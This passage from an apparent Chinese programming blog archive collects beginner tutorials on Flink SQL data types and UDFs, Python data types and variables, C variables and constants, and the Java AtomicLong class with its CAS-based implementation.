    , f1 + INTERVAL '300' SECOND(3) as result_interval_second_p2
FROM (SELECT TO_TIMESTAMP_LTZ(1640966476500, 3) as f1)

2.复合数据类型

? 数组类型:ARRAY、t ARRAY。数组最大长度为 2,147,483,647。t 代表数组内的数据类型。举例 ARRAY、ARRAY,其等同于 INT ARRAY、STRING ARRAY

? Map 类型:MAP<kt, vt>。Map 类型就和 Java 中的 Map 类型一样,key 是没有重复的。举例 Map<STRING, INT>、Map<BIGINT, STRING>

? 集合类型:MULTISET、t MULTISET。就和 Java 中的 List 类型,一样,运行重复的数据。举例 MULTISET,其等同于 INT MULTISET

? 对象类型:ROW<n0 t0, n1 t1, …>、ROW<n0 t0 'd0', n1 t1 'd1', …>、ROW(n0 t0, n1 t1, …>、ROW(n0 t0 'd0', n1 t1 'd1', …)。就和 Java 中的自定义对象一样。举例:ROW(myField INT, myOtherField BOOLEAN),其等同于 ROW<myField INT, myOtherField BOOLEAN>

3.用户自定义数据类型

用户自定义类型就是运行用户使用 Java 等语言自定义一个数据类型出来。但是目前数据类型不支持使用 CREATE TABLE 的 DDL 进行定义,只支持作为函数的输入输出参数。如下案例:

  1. ? 第一步,自定义数据类型
public class User {

    // 1. 基础类型,Flink 可以通过反射类型信息自动把数据类型获取到
    // 关于 SQL 类型和 Java 类型之间的映射见:https://nightlies.apache.org/flink/flink-docs-release-1.13/docs/dev/table/types/#data-type-extraction
    public int age;
    public String name;

    // 2. 复杂类型,用户可以通过 @DataTypeHint("DECIMAL(10, 2)") 注解标注此字段的数据类型
    public @DataTypeHint("DECIMAL(10, 2)") BigDecimal totalBalance;
}
  1. ? 第二步,在 UDF 中使用此数据类型
public class UserScalarFunction extends ScalarFunction {

    // 1. 自定义数据类型作为输出参数
    public User eval(long i) {
        if (i > 0 && i <= 5) {
            User u = new User();
            u.age = (int) i;
            u.name = "name1";
            u.totalBalance = new BigDecimal(1.1d);
            return u;
        } else {
            User u = new User();
            u.age = (int) i;
            u.name = "name2";
            u.totalBalance = new BigDecimal(2.2d);
            return u;
        }
    }
    
    // 2. 自定义数据类型作为输入参数
    public String eval(User i) {
        if (i.age > 0 && i.age <= 5) {
            User u = new User();
            u.age = 1;
            u.name = "name1";
            u.totalBalance = new BigDecimal(1.1d);
            return u.name;
        } else {
            User u = new User();
            u.age = 2;
            u.name = "name2";
            u.totalBalance = new BigDecimal(2.2d);
            return u.name;
        }
    }
}
  1. ? 第三步,在 Flink SQL 中使用
-- 1. 创建 UDF
CREATE FUNCTION user_scalar_func AS 'flink.examples.sql._12_data_type._02_user_defined.UserScalarFunction';

-- 2. 创建数据源表
CREATE TABLE source_table (
    user_id BIGINT NOT NULL COMMENT '用户 id'
) WITH (
  'connector' = 'datagen',
  'rows-per-second' = '1',
  'fields.user_id.min' = '1',
  'fields.user_id.max' = '10'
);

-- 3. 创建数据汇表
CREATE TABLE sink_table (
    result_row_1 ROW<age INT, name STRING, totalBalance DECIMAL(10, 2)>,
    result_row_2 STRING
) WITH (
  'connector' = 'print'
);

-- 4. SQL 查询语句
INSERT INTO sink_table
select
    -- 4.a. 用户自定义类型作为输出
    user_scalar_func(user_id) as result_row_1,
    -- 4.b. 用户自定义类型作为输出及输入
    user_scalar_func(user_scalar_func(user_id)) as result_row_2
from source_table;

-- 5. 查询结果
+I[+I[9, name2, 2.20], name2]
+I[+I[1, name1, 1.10], name1]
+I[+I[5, name1, 1.10], name1]

分类
其它综合

Python之可变数据类型和不可变数据类型

不可变数据类型

数字number(含int、float、bool、complex)、字符串string、元组tuple。

在同一代码块下,不同变量的值若是相同且是不可变数据类型,那么它们的id也相同,实际上它们都是同一个值的引用,这既节省了内存又提高了运行效率。举例:

num1=1000
num2=1000
print(id(num1),id(num2))

out:
2321267850064 2321267850064

需要注意的是,在REPL交互环境下输出结果不一致,这是因为在REPL交互环境每行代码都是独立的代码块。

>>> num1=1000
>>> num2=1000
>>> print(id(num1),id(num2))
2404872583088 2404872583472

可变数据类型

列表list、字典dict、集合set。

不同变量的值若是相同且是可变数据类型,那么它们的id必不同,它们不能是同一个值的引用。

举例:

>>> List1=[1,2,3]
>>> List2=[1,2,3]
>>> print(id(List1),id(List2))
2311885997568 2311885997696
>>> print(List1==List2)
True

分清楚可变数据类型和不可变数据类型相当重要,这是理解python的变量创建、释放、删除、深拷贝、浅拷贝等一系列概念前提。

分类
其它综合

Python入门教程-数据类型和变量

数据类型和变量

阅读: 466036

数据类型

计算机顾名思义就是可以做数学计算的机器,因此,计算机程序理所当然地可以处理各种数值。但是,计算机能处理的远不止数值,还可以处理文本、图形、音频、视频、网页等各种各样的数据,不同的数据,需要定义不同的数据类型。在Python中,能够直接处理的数据类型有以下几种:

整数

Python可以处理任意大小的整数,当然包括负整数,在程序中的表示方法和数学上的写法一模一样,例如:1100-80800,等等。

计算机由于使用二进制,所以,有时候用十六进制表示整数比较方便,十六进制用0x前缀和0-9,a-f表示,例如:0xff000xa5b4c3d2,等等。

浮点数

浮点数也就是小数,之所以称为浮点数,是因为按照科学记数法表示时,一个浮点数的小数点位置是可变的,比如,1.23×109和12.3×108是完全相等的。浮点数可以用数学写法,如1.233.14-9.01,等等。但是对于很大或很小的浮点数,就必须用科学计数法表示,把10用e替代,1.23×109就是1.23e9,或者12.3e8,0.000012可以写成1.2e-5,等等。

整数和浮点数在计算机内部存储的方式是不同的,整数运算永远是精确的(除法难道也是精确的?是的!),而浮点数运算则可能会有四舍五入的误差。

字符串

字符串是以单引号'或双引号"括起来的任意文本,比如'abc'"xyz"等等。请注意,''""本身只是一种表示方式,不是字符串的一部分,因此,字符串'abc'只有abc这3个字符。如果'本身也是一个字符,那就可以用""括起来,比如"I'm OK"包含的字符是I'm,空格,OK这6个字符。

如果字符串内部既包含'又包含"怎么办?可以用转义字符\来标识,比如:

‘I\’m \”OK\”!’

表示的字符串内容是:

I’m “OK”!

转义字符\可以转义很多字符,比如\n表示换行,\t表示制表符,字符\本身也要转义,所以\\表示的字符就是\,可以在Python的交互式命令行用print()打印字符串看看:

>>> print(‘I\’m ok.’)

I’m ok.

>>> print(‘I\’m learning\nPython.’)

I’m learning

Python.

>>> print(‘\\\n\\’)

\

\

如果字符串里面有很多字符都需要转义,就需要加很多\,为了简化,Python还允许用r''表示''内部的字符串默认不转义,可以自己试试:

>>> print(‘\\\t\\’)

\ \>>> print(r’\\\t\\’)

\\\t\\

如果字符串内部有很多换行,用\n写在一行里不好阅读,为了简化,Python允许用'''...'''的格式表示多行内容,可以自己试试:

>>> print(”’line1… line2… line3”’)

line1

line2

line3

上面是在交互式命令行内输入,注意在输入多行内容时,提示符由>>>变为...,提示你可以接着上一行输入。如果写成程序,就是:

print(”’line1

line2

line3”’)

多行字符串'''...'''还可以在前面加上r使用,请自行测试。

布尔值

布尔值和布尔代数的表示完全一致,一个布尔值只有TrueFalse两种值,要么是True,要么是False,在Python中,可以直接用TrueFalse表示布尔值(请注意大小写),也可以通过布尔运算计算出来:

>>> TrueTrue>>> FalseFalse>>> 3 > 2True>>> 3 > 5False

布尔值可以用andornot运算。

and运算是与运算,只有所有都为Trueand运算结果才是True

>>> True and TrueTrue>>> True and FalseFalse>>> False and FalseFalse>>> 5 > 3 and 3 > 1True

or运算是或运算,只要其中有一个为Trueor运算结果就是True

>>> True or TrueTrue>>> True or FalseTrue>>> False or FalseFalse>>> 5 > 3 or 1 > 3True

not运算是非运算,它是一个单目运算符,把True变成FalseFalse变成True

>>> not TrueFalse>>> not FalseTrue>>> not 1 > 2True

布尔值经常用在条件判断中,比如:

if age >= 18: print(‘adult’)else: print(‘teenager’)

空值

空值是Python里一个特殊的值,用None表示。None不能理解为0,因为0是有意义的,而None是一个特殊的空值。

此外,Python还提供了列表、字典等多种数据类型,还允许创建自定义数据类型,我们后面会继续讲到。

变量

变量的概念基本上和初中代数的方程变量是一致的,只是在计算机程序中,变量不仅可以是数字,还可以是任意数据类型。

变量在程序中就是用一个变量名表示了,变量名必须是大小写英文、数字和_的组合,且不能用数字开头,比如:

a = 1

变量a是一个整数。

t_007 = ‘T007’

变量t_007是一个字符串。

Answer = True

变量Answer是一个布尔值True

在Python中,等号=是赋值语句,可以把任意数据类型赋值给变量,同一个变量可以反复赋值,而且可以是不同类型的变量,例如:

a = 123 # a是整数print(a)

a = ‘ABC’ # a变为字符串print(a)

这种变量本身类型不固定的语言称之为动态语言,与之对应的是静态语言。静态语言在定义变量时必须指定变量类型,如果赋值的时候类型不匹配,就会报错。例如Java是静态语言,赋值语句如下(// 表示注释):

int a = 123; // a是整数类型变量a = “ABC”; // 错误:不能把字符串赋给整型变量

和静态语言相比,动态语言更灵活,就是这个原因。

请不要把赋值语句的等号等同于数学的等号。比如下面的代码:

x = 10x = x + 2

如果从数学上理解x = x + 2那无论如何是不成立的,在程序中,赋值语句先计算右侧的表达式x + 2,得到结果12,再赋给变量x。由于x之前的值是10,重新赋值后,x的值变成12

分类
其它综合

手把手带你搞懂Python数据类型之数字类型

一、数字类型

数字类型用于存储数学意义上的数值。

数字类型是不可变类型。所谓的不可变类型,指的是类型的值一旦有不同了,那么它就是一个全新的对象。数字1和2分别代表两个不同的对象,对变量重新赋值一个数字类型,会新建一个数字对象。

Python的变量和数据类型的关系。

变量只是对某个对象的引用或者说代号、名字、调用等等,变量本身没有数据类型的概念。类似1,[2, 3, 4],“haha”这一类对象才具有数据类型的概念。

例如:

a = 1 # 创建数字对象1。a = 2 # 创建数字对象2,并将2赋值给变量a,a不再指向数字对象1

这里,发生了变化的是变量a的指向,而不是数字对象1变成了数字对象2。初学者可能会比较迷糊,但不要紧,我们努力去明白它。

二、Python 支持三种不同的数字类型(整数、浮点数和复数)

1. 整数(Int)

通常被称为整型,是正或负整数,不带小数点。Python3的整型可以当作Long类型(更长的整型)使用,所以 Python3没有Python2的Long类型。

例如:1,100,-8080,0,等等。

表示数字的时候,有时我们还会用八进制或十六进制来表示:

十六进制用0x前缀和0-9,a-f表示,例如:0xff00,0xa5b4c3d2。

八进制用0o前缀和0-7表示,例如0o12。

Python的整数长度为32位,并且通常是连续分配内存空间的。

什么是空间地址?

空间地址(address space)表示任何一个计算机实体所占用的内存大小。比如外设、文件、服务器或者一个网络计算机。地址空间包括物理空间以及虚拟空间。

例 :

print(id(-2))print(id(-1))print(id(0))print(id(1))print(id(2))

从上面的空间地址看,地址之间正好差32。为什么会这样?

因为Python在初始化环境的时候就在内存里自动划分了一块空间,专门用于整数对象的存取。当然,这块空间也不是无限大小的,能保存的整数是有限的,所以你会看到id(0)和id(10000)之间的地址差别很大。

>>> id(0)1456976928>>> id(10000)45818192

小整数对象池:

Python初始化的时候会自动建立一个小整数对象池,方便我们调用,避免后期重复生成!

这是一个包含262个指向整数对象的指针数组,范围是-5到256。也就是说比如整数10,即使我们在程序里没有创建它,其实在Python后台已经悄悄为我们创建了。

验证一下小整数对象池的存在

在程序运行时,包括Python后台自己的运行环境中,会频繁使用这一范围内的整数,如果每需要一个,你就创建一个,那么无疑会增加很多开销。创建一个一直存在,永不销毁,随用随拿的小整数对象池,无疑是个比较实惠的做法。

print(id(-6))print(id(-5))print(id(-4))print(id(255))print(id(256))print(id(257))

从id(-6)和id(257)的地址,我们能看出小整数对象池的范围,正好是-5到256。

除了小整数对象池,Python还有整数缓冲区的概念,也就是刚被删除的整数,不会被真正立刻删除回收,而是在后台缓冲一段时间,等待下一次的可能调用。

>>> a = 1000000>>> id(a)45818160>>> del a # 删除变量a>>> b = 1000000>>> id(b)45818160

给变量a赋值了整数1000000,看了一下它的内存地址。然后我把a删了,又创建个新变量b,依然赋值为1000000,再次看下b的内存地址,和以前a存在的是一样的。

del是Python的删除关键字,可以删除变量、函数、类等等。

这一段内容,可能感觉没什么大用,但它对于理解Python的运行机制有很大帮助。

2. 浮点数(float)

浮点数也就是小数,如1.23,3.14,-9.01,等等。但是对于很大或很小的浮点数,一般用科学计数法表示,把10用e替代,1.23×10^9就是1.23e9,或者12.3e8,0.000012可以写成1.2e-5,等等。

3. 复数( (complex))

复数由实数部分和虚数部分构成,可以用a + bj,或者complex(a,b)表示,复数的实部a和虚部b都是浮点型。关于复数,不做科学计算或其它特殊需要,通常很难遇到。

数字类型转换:

有时候,我们需要对数字的类型进行转换。Python为我们提供了方便的内置的数据类型转换函数。

int(x):将x转换为一个整数。如果x是个浮点数,则截取小数部分。

float(x) :将x转换到一个浮点数。

complex(x) :将x转换到一个复数,实数部分为 x,虚数部分为 0。

complex(x, y):将 x 和 y 转换到一个复数,实数部分为 x,虚数部分为 y。

转换过程中如果出现无法转换的对象,则会抛出异常,比如int("haha"),你说我把字符串“haha”转换为哪个整数才对?

a = 10.53b = 23print(int(a))print(float(a))print(complex(a))print(complex(a, b))

三、math库(数学计算)

科学计算需要导入math这个库,它包含了绝大多数我们可能需要的科学计算函数,一般常用的函数主要包括abs()、exp()、fabs()、max()、min()等,这里就不再赘述了,感兴趣的小伙伴可以自行百度下。

下面是两个常用数学常量:

常量描述

pi数学常量 pi(圆周率,一般以π来表示)

e数学常量 e,e即自然常数(自然常数)。

下面是一些应用展示,注意最后的角度调用方式:

import mathprint(math.log(2))print(math.cos(30))print(math.cos(60))print(math.sin(30))print(math.sin(math.degrees(30)))print(math.sin(math.radians(30)))

四、总结

本文详细的讲解了Python基础 ( 数字类型 )。介绍了有关Python 支持三种不同的数字类型。以及在实际操作中会遇到的问题,提供了解决方案。

用丰富的案例帮助大家更好理解,使用Python编程语言,方便大家更好理解,希望对大家的学习有帮助。

分类
其它综合

C语言干货(4):数据类型(1)—变量与常量

数据(data),在计算机中,显得尤为的重要。往往我们在编程的时候会想去赋予或者是获取某种数据,从而实现一些特定的功能。

在C语言中也有多种的数据类型,那么我会分成三章来讲解C语言的数据类型。本章要讲的是变量(variable)常量( constant )


那什么是变量,什么是常量?

首先要理解什么是变量,什么是常量

顾名思义,变量就是一个可变的量,常量就是一个不变化的量。当然这是广义上的概念,有助于理解即可。

上才艺(程序)

因为最近吃了牛肉火锅,体重暴涨,所以就先上一盘牛肉代码。这段小程序功能就是输入自己的体重,然后换算成用牛肉价格所得到的金额。

/*体重与牛肉*/ 

#include <stdio.h>

int main(void)
{
    float weight; 
    float value;  
         
 printf("#与牛肉的比拼#\n"); 
	
    printf("输入您的体重(KG)\n"); 
    
    scanf("%f", &weight); //将键盘输入的值赋到变量 weight

    value = 80.5 * weight; //牛肉的单价为80.5/KG
    printf("您相当于价值 %.2f 的牛肉\n", value);

    return 0;
}

疑点解答

问(1):为啥不用整型变量(int)声明?

答(1):首先,这里声明的是浮点数类型的变量。像小数点,整型类型的变量是不能够处理的。所以使用浮点类型可以处理更大范围的数据。

问(2):我知道 %f 是处理浮点数的,那么 %.2f 是干啥用的?

答(2)%.2f 中的 .2 是用于控制浮点数输出位数的,也就是数学中所提到精确到小数点后两位是同一个意思。

问(3)scanf("%f", &weight); 这一段我不是很懂,是什么意思?

答(3):我们知道输出的函数是 printf,那么输入的函数就是 scanf ,它的作用就是读取键盘输入的值,然后将读取到的值赋值给变量 weight,符号 & 就是找到变量 weight 的地址。

回到问题本质,变量与常量。

  • 在代码中 ,浮点数类型 weight ,这就是一个变量。因为它的值,会随着用户输入值的变化而变化。
  • 80.5,这就是一个常量,它的值就是 80.5 ,不会改变。虽然牛肉的价格在生活当中是会随着市场的变化而变化,但是在代码中就是一个常量,不必纠结。

两句话总结

一些数据类型在程序运行的时候,会被改变或者重新赋值的,叫做变量(variable)

而另一些数据类型在程序运行之前就已经设定好值,程序运行的时候不会发生改变的,叫做常量( constant )


那么到这里,这一节的内容就已经结束了,感谢您坚持阅读到最后。

创作分享不容易,点赞关注转发,就是对我最大的鼓励!

(附:有些朋友留言说STM32的视频教程很散,为此我已经将其整理到一个合集里面,大家可以直接在我的主页的合集里面观看,每一讲都已经按顺序排列好,大家自行学习)

分类
其它综合

Python 变量、数据类型和运算符的介绍

Python 是一种面向对象、解释型编程语言,变量、数据类型和运算符是 Python 编程中的基本概念。

变量

Python 中的变量是用来存储数据的,可以通过赋值来创建变量。Python 变量名区分大小写,可以包含字母、数字和下划线,但是不能以数字开头。例如:

makefileCopy codex = 5
y = "Hello, World!"

数据类型

Python 中有许多数据类型,包括数值、字符串、布尔值、列表、元组、字典等。常见的数据类型有:

  • int: 整数类型,例如 1, 2, 3, -4 等;
  • float: 浮点数类型,例如 1.2, 3.14 等;
  • str: 字符串类型,例如 "Hello, World!";
  • bool: 布尔类型,True 和 False;
  • list: 列表类型,例如 [1, 2, 3, 4];
  • tuple: 元组类型,例如 (1, 2, 3);
  • dict: 字典类型,例如 {"name": "John", "age": 30}。

可以使用 type() 函数来查看变量的数据类型,例如:

pythonCopy codex = 5
print(type(x))  # <class 'int'>

y = "Hello, World!"
print(type(y))  # <class 'str'>

运算符

Python 中的运算符包括算术运算符、比较运算符、逻辑运算符、位运算符等。常见的运算符有:

  • 算术运算符:+、-、*、/、%、**、//;
  • 比较运算符:==、!=、>、<、>=、<=;
  • 逻辑运算符:and、or、not;
  • 位运算符:&、|、^、~、<<、>>。

例如:

scssCopy codex = 5
y = 3

print(x + y)  # 8
print(x - y)  # 2
print(x * y)  # 15
print(x / y)  # 1.6666666666666667
print(x % y)  # 2
print(x ** y)  # 125
print(x // y)  # 1

print(x == y)  # False
print(x != y)  # True
print(x > y)   # True
print(x < y)   # False
print(x >= y)  # True
print(x <= y)  # False

print(x and y)  # 3
print(x or y)   # 5
print(not x)    # False

a = 60
b = 13
print(a & b)   # 12
print(a | b)   # 61
print(a ^ b)   # 49
print(~a)      # -61
print(a << 2)  # 240
print(a >> 2)  # 15

以上是 Python 变量、数据类型和运算符的基本概念和使用方法。


附注:

在 Python 中,"#" 是单行注释的标志。当 Python 解释器在执行代码时,如果遇到"#",就会将这个符号后面的内容都忽略掉,不执行它们,这些内容仅仅是为了注释和说明代码的作用和意图。

  • 单行注释可以在代码中的任何位置使用,甚至可以在一行的末尾使用。例如:
# This is a single line comment
print("Hello, World!") # This is also a comment at the end of a line

注释可以增加代码的可读性和可维护性,有助于其他程序员理解你的代码和修改代码。在编写代码时,应该经常使用注释,解释你的代码的逻辑和目的,以方便日后的维护和开发。

  • 除了单行注释,Python 还支持多行注释。多行注释通常用于在文件开头或函数开头进行说明。多行注释以三个引号 """ 或 ''' 开始,以三个引号结束。例如:
"""
This is a
multi-line
comment
"""

总之,注释是 Python 代码中很重要的一部分,可以提高代码的可读性和可维护性。

分类
其它综合

python系列课程之基本数据类型(一)

前面介绍了python的发展历史,优势,python学习的好处,python的基本概念等等,从这篇教程开始,正式进入主角python相关课程的学习。

学习任何一门编程语言,都会涉及到数据类型的概念。什么是数据类型呢,简单的来说就是数据类别型号。在计算机中,不同的数据所占用的存储空间是不同的,为了便于把数据分成所需内存大小不同的数据,充分利用存储空间,于是定义了不同的数据类型。

介绍数据类型之前,还需要知道另外一个概念—变量,简单来说变量就是在计算机语言中用来存储结果或能表示值的抽象概念。从形式上看,每个变量都拥有独一无二的名字,例如a=1,a为变量,1为值。从底层看,程序中的数据都要放在内存中,变量就是存放值的内存空间的名字。

python变量命名规则

  • 变量名只能包含字母、数字和下划线。变量名能以字母或下划线开头,但不能以数字开头
  • 变量名不能包含空格,但能使用下划线来分割其中的单词
  • 不能将python关键字和函数名作为变量名(也称保留字)
  • 中文字符其实也可以作为变量名,但是强烈建议不要使用

python中使用keyword模块查看保留关键字

import keyword
print(keyword.kwlist)

python使用注意事项:

1、变量定义: 变量名 = 变量值

2、动态语言:变量在定义时,不需要申明变量的数据类型,变量的类型根据值定

3、变量在定义的时候,必须赋值

4、变量的数据类型可以随时改变(变量的类型根据值定)

5、如果变量的值发生变化,那么变量存储的数据值也会发生变化(内存中的地址也会发生变化)

6、通过id函数可以获取变量在内存中的地址

a= 1
prind(id(a))     #获取变量a的内存地址

python基本数据类型

python中定义了6种基本数据类型:数字(Number)字符串(String)元组(Tuple)、列表(List)、字典(Dictionary),集合(Set)。

其中数字(Number)字符串(String)元组(Tuple)属于不可变数据(就是不能修改值),列表(List)、字典(Dictionary),集合(Set)属于可变数据(可以修改值)

下面的示例简单体会下,什么叫不可变数据,什么叫可变数据

# 例如,数字属于不可变数据类型,如果改变其值,相当于重新分配内存空间
a = 1
a = 2
print(a)   #2

# 例如,列表属于可变数据类型,修改某个元素的值就修改了整个变量的赋值
a = [1,2,3]
a[1]=3
print(a)		#a=[1, 3, 3]

数据类型,又可以分为有序序列无序序列,其中数字、字符串、列表、元组、属于有序序列,字典、集合属于无序序列。一般来说可通过索引来取值的就是有序的,但数字不可索引

数字(Number)类型介绍

数字(Number)用于存储数值,属于不可变类型,如果改变其值就意味着重新分配内存空间。python中支持三种不同的数值类型:

1、整型(int):整型或整数,包含正或负整数,不带小数点

2、浮点数(float):由整数部分与小数部分组成,浮点型也可以使用科学计数法表示(3.8e2 = 3.8*10^2 = 380.0)

3、复数(complex):复数由实数部分和虚数部分构成,可以用a+bj或者complex(a,b)表示

数字类型转换

  • int(x)将x转换为一个整数
  • float(x)将x转为浮点数
  • complex(x) 将x转换到一个复数,实数部分为 x,虚数部分为 0
  • complex(x, y) 将 x 和 y 转换到一个复数,实数部分为 x,虚数部分为 y。x 和 y 是数字表达式。

数学运算符

运算符

名称

说明

+

求和

数学里的加法

取差

数学里的减法

*

相乘

数学里的乘法

/

相除

数学里的除法

%

取余

得到除法的余数,比如:10%3=1

**

幂运算

得到某数的的多少次方,比如:3**3=27

//

整除

得到商的整数部分,比如:14//5=2

数学函数

函数

返回值 ( 描述 )

abs(x)

返回数字的绝对值

max(x1,x2…)

返回给定参数的最大值,参数可以为序列但是序列的元素类型需要相同

min(x1,2,…)

返回给定参数的最小值,参数可以为序列但是序列的元素类型需要相同

pow(x, y)

x**y 运算后的值。

round(x [,n])

返回浮点数 x 的四舍五入值,如给出 n 值,则代表舍入到小数点后的位数。

数学常量

常量

描述

pi

数学常量 pi,使用前需要导入math模块:
import math
print(math.pi) #3.141592653589793

e

数学常量 e,e即自然常数(自然常数),使用前需要导入math模块:
import math #2.718281828459045

至此,python基本数据类型数字就讲解完毕了,下节将开始讲解字符和列表相关知识。

分类
其它综合

原子变量操作类AtomicLong详解

JUC并发包中有AtomicInteger、AtomicIntegerArray、AtomicLong、AtomicBoolean等原子变量操作类,他们原理都类似,本文主要分析为什么需要原子操作类以及AtomicLong类的实现原理。

为什么需要原子变量操作类?

public class Test {
    
    private static long count = 0L;
    
    private static void increase() {
        count++;
    }
    public static void main(String[] args) throws InterruptedException {
        Thread[] threads = new Thread[10];
        for (int i = 0; i < threads.length; i++) {
            threads[i] = new Thread(new Runnable() {
                public void run() {
                    for (int j = 0; j < 1000; j++) {
                        increase();
                    }
                }
            });
            threads[i].start();
        }
        for (Thread thread : threads) {
            thread.join();
        }
        System.out.println(count);
    }
}

上方的代码创建一个普通long类型的变量count,启动10个线程分别对count进行1000次递增操作。我们知道count++解析为count=count+1,这个操作并不是原子性的,多线程执行这个操作必然会出现问题,如果按照正常的并发情况,执行结果应该是10000,但是实际情况是每次执行的结果都是小于10000的数字。为什么呢?

有人肯定会说,使用volatile来修饰count变量是否能解决这个问题,这里顺便来说下volatile关键字的作用及使用场景。

volatile作用

  1. 当一个共享变量被volatile修饰时,它会保证修改的值立即被更新到主存,通俗来讲就是,线程A对一个volatile变量的修改,对于其它线程来说是可见的,即线程每次获取volatile变量的值都是最新的
  2. 禁止指令重排序

volatile使用场景

  1. 对变量的写操作不依赖当前值
  2. 该变量没有包含在具有其它变量的不变式中
private static volatile long count = 0L;

用volatile关键字修饰count后再次测试,发现执行结果依然小于10000。
分析volatile使用场景发现必须满足对变量的写操作不应该依赖当前值,而count++明显是依赖当前值的,所以多线程下执行count++是无法通过volatile保证结果准确性的。

那既然无法通过volatile关键字来保证准确性,我们就可以尝试使用AtomicLong原子变量操作类来进行操作,代码如下

public class Test {

    private static AtomicLong count = new AtomicLong(0L);

    private static void increase() {
        count.incrementAndGet();
    }
    public static void main(String[] args) throws InterruptedException {
        Thread[] threads = new Thread[10];
        for (int i = 0; i < threads.length; i++) {
            threads[i] = new Thread(new Runnable() {
                public void run() {
                    for (int j = 0; j < 1000; j++) {
                        increase();
                    }
                }
            });
            threads[i].start();
        }
        for (Thread thread : threads) {
            thread.join();
        }
        System.out.println(count);
    }
}

我们发现不管怎么执行,最后的结果都是10000,这是因为AtomicInteger.incrementAndGet()方法是原子性的。

AtomicLong原理分析

首先,我们来看一下一下AtomicLong的属性

public class AtomicLong extends Number implements java.io.Serializable {
	//通过Unsafe.getUnsafe()方法,获取unsafe实例
	private static final Unsafe unsafe = Unsafe.getUnsafe();
	//存放变量value的偏移量
    private static final long valueOffset;
    //判断JVM是否支持Long类型无锁CAS
    static final boolean VM_SUPPORTS_LONG_CAS = VMSupportsCS8();
    //VMSupportsCS8()方法是native方法
    private static native boolean VMSupportsCS8();
    //静态代码块获取value在AtomicLong中的偏移量
    static {
        try {
            valueOffset = unsafe.objectFieldOffset
                (AtomicLong.class.getDeclaredField("value"));
        } catch (Exception ex) { throw new Error(ex); }
    }
	//实际使用的变量值,可以看到这里也是使用volatile修饰的,保证多线程下的内存可见性
	private volatile long value;
	
	//构造函数
    public AtomicLong(long initialValue) {
        value = initialValue;
    }
    public AtomicLong() {
    }
}

然后我们来看下AtomicLong的主要方法,都是使用Unsafe来实现的


//调用unsafe方法原子性设置value的值,并返回设置之前的值
public final long getAndSet(long newValue) {
        return unsafe.getAndSetLong(this, valueOffset, newValue);
}
    
	//getAndSetLong()方法是使用CAS方式设置value值的
	//其中getLongVolatile()方法和compareAndSwapLong()方法是native方法
	public final long getAndSetLong(Object var1, long var2, long var4) {
        long var6;
        //每个线程获取到变量的当前值,然后使用CAS方式设置新的值,如果设置失败,则循环继续尝试,直到成功为止
        do {
            var6 = this.getLongVolatile(var1, var2);
        } while(!this.compareAndSwapLong(var1, var2, var6, var4));
		
        return var6;
    }

//如果当前值等于期望值,则原子性设置value为新的值
public final boolean compareAndSet(long expect, long update) {
    return unsafe.compareAndSwapLong(this, valueOffset, expect, update);
}

//调用unsafe方法,原子性设置当前值自增1,返回修改前的值
public final long getAndIncrement() {
        return unsafe.getAndAddLong(this, valueOffset, 1L);
//调用unsafe方法,原子性设置当前值自减1,返回修改前的值
public final long getAndDecrement() {
        return unsafe.getAndAddLong(this, valueOffset, -1L);
    }
//调用unsafe方法,原子性设置当前值加上参数值,返回修改前的值
public final long getAndAdd(long delta) {
        return unsafe.getAndAddLong(this, valueOffset, delta);
//调用unsafe方法,原子性设置当前值自增1,返回修改后的值
public final long incrementAndGet() {
        return unsafe.getAndAddLong(this, valueOffset, 1L) + 1L;
    }
//调用unsafe方法,原子性设置当前值自减1,返回修改后的值
public final long decrementAndGet() {
        return unsafe.getAndAddLong(this, valueOffset, -1L) - 1L;
    }
//调用unsafe方法,原子性设置当前值加上参数值,返回修改后的值
public final long addAndGet(long delta) {
        return unsafe.getAndAddLong(this, valueOffset, delta) + delta;
    }

可以看到,AtomicLong的操作都是通过Unsafe类来实现的